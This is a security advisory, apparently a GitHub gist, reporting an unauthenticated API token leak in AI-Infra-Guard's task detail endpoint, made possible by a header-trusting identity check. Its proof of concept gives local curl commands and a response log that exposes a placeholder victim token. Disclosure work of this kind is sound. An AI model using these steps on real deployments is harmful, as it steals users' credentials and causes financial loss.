YLChen-007 / **ISSUE-Github-REPORT-token-leak-task-detail-variant.md** Secret

Created 2 weeks ago

Code Revisions 1

Sensitive Data Exposure (API Token Leak) via Task Detail Endpoint due to Missing Masking

ISSUE-Github-REPORT-token-leak-task-detail-variant.md

Advisory Details

Title: Sensitive Data Exposure (API Token Leak) via Task Detail Endpoint due to Missing Masking

Description:

Summary

The Task Detail API endpoint (`/api/v1/app/tasks/{sessionId}`) fails to mask sensitive API tokens supplied during task creation. Combined with a default `Share=true` task configuration and a lack of true identity verification in the authentication middleware, any external unauthenticated user can fetch another user's task details and extract their plaintext AI model API tokens.

Details

When users or external integrations submit tasks via the Developer API (`POST /api/v1/app/taskapi/tasks`), they provide sensitive API tokens for language models to process the task. These parameters are parsed in `common/websocket/api.go:SubmitTask` and passed to `AddTaskApi` .

In `common/websocket/task_manager.go:AddTaskApi` , the `req.Params` consisting of the raw token is marshaled into JSON and persisted to the database inside the `session.Params` field. Note that `session.Share` defaults to `true` .

While commit `e5582e7` correctly implemented `maskToken()` for public models in the Model List API, this protection was omitted for `GetTaskDetail`. When `common/websocket/task_manager.go:GetTaskDetail` is called, it unmarshals `session.Params` and returns it verbatim within the API response, including the plaintext model token.

Furthermore, `common/websocket/server.go:setupIdentityMiddleware` merely checks for an arbitrary `username` HTTP header and performs no cryptographic verification or session checking (CWE-287), permitting any attacker to trivially impersonate other users or act as an unauthenticated `public_user` to list and view any previously submitted tasks.

PoC

1. Start the target AI-Infra-Guard service on port 8088.
2. As a victim user, submit a new task with a sensitive API token:

```
curl -s -X POST http://127.0.0.1:8088/api/v1/app/taskapi/tasks \
  -H "Content-Type: application/json" \
  -d '{
    "type": "mcp_scan",
    "content": {
      "prompt": "test",
      "model": {
        "model": "gpt-4",
        "token": "sk-VICTIM-SECRET-API-KEY-12345",
        "base_url": "https://api.openai.com/v1"
      }
    }
  }'
```

3. Extract the `session_id` from the creation response (e.g., `12345678-abcd...`).
4. As an external unauthenticated attacker, retrieve the task detail using the `session_id`:

```
curl -s http://127.0.0.1:8088/api/v1/app/tasks/12345678-abcd...
```

Log of Evidence

```
{
  "status": 0,
  "data": {
    "params": {
```

```
      "model": {
        "base_url": "https://api.openai.com/v1",
        "model": "gpt-4",
        "token": "sk-VICTIM-SECRET-API-KEY-12345"
      }
    }
  }
}
```

Impact

Any unauthenticated actor can extract high-value AI model API credentials belonging to other users or the platform itself. This could result in severe financial loss via token theft, unauthorized utilization of quota, and cross-platform compromise if users re-use keys.

Affected products

- **Ecosystem**: go
- **Package name**: AI-Infra-Guard
- **Affected versions**: All current versions
- **Patched versions**: None currently

Severity

- **Severity**: High
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Weaknesses

- **CWE**: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Occurrences

Permalink	Description
`common/websocket/api.go`	`SubmitTask` parses and forwards raw tokens without masking.
`common/websocket/task_manager.go`	`AddTaskApi` persists the unmasked `req.Params` JSON blob into the database and hardcodes `Share=true`.

Permalink	Description
`common/websocket/task_manager.go`	`GetTaskDetail` returns `session.Params` back to the user without invoking any `maskToken()` function.
`common/websocket/server.go`	`setupIdentityMiddleware` performs empty authentication, blindly trusting HTTP headers, enabling the unauthenticated retrieval flow.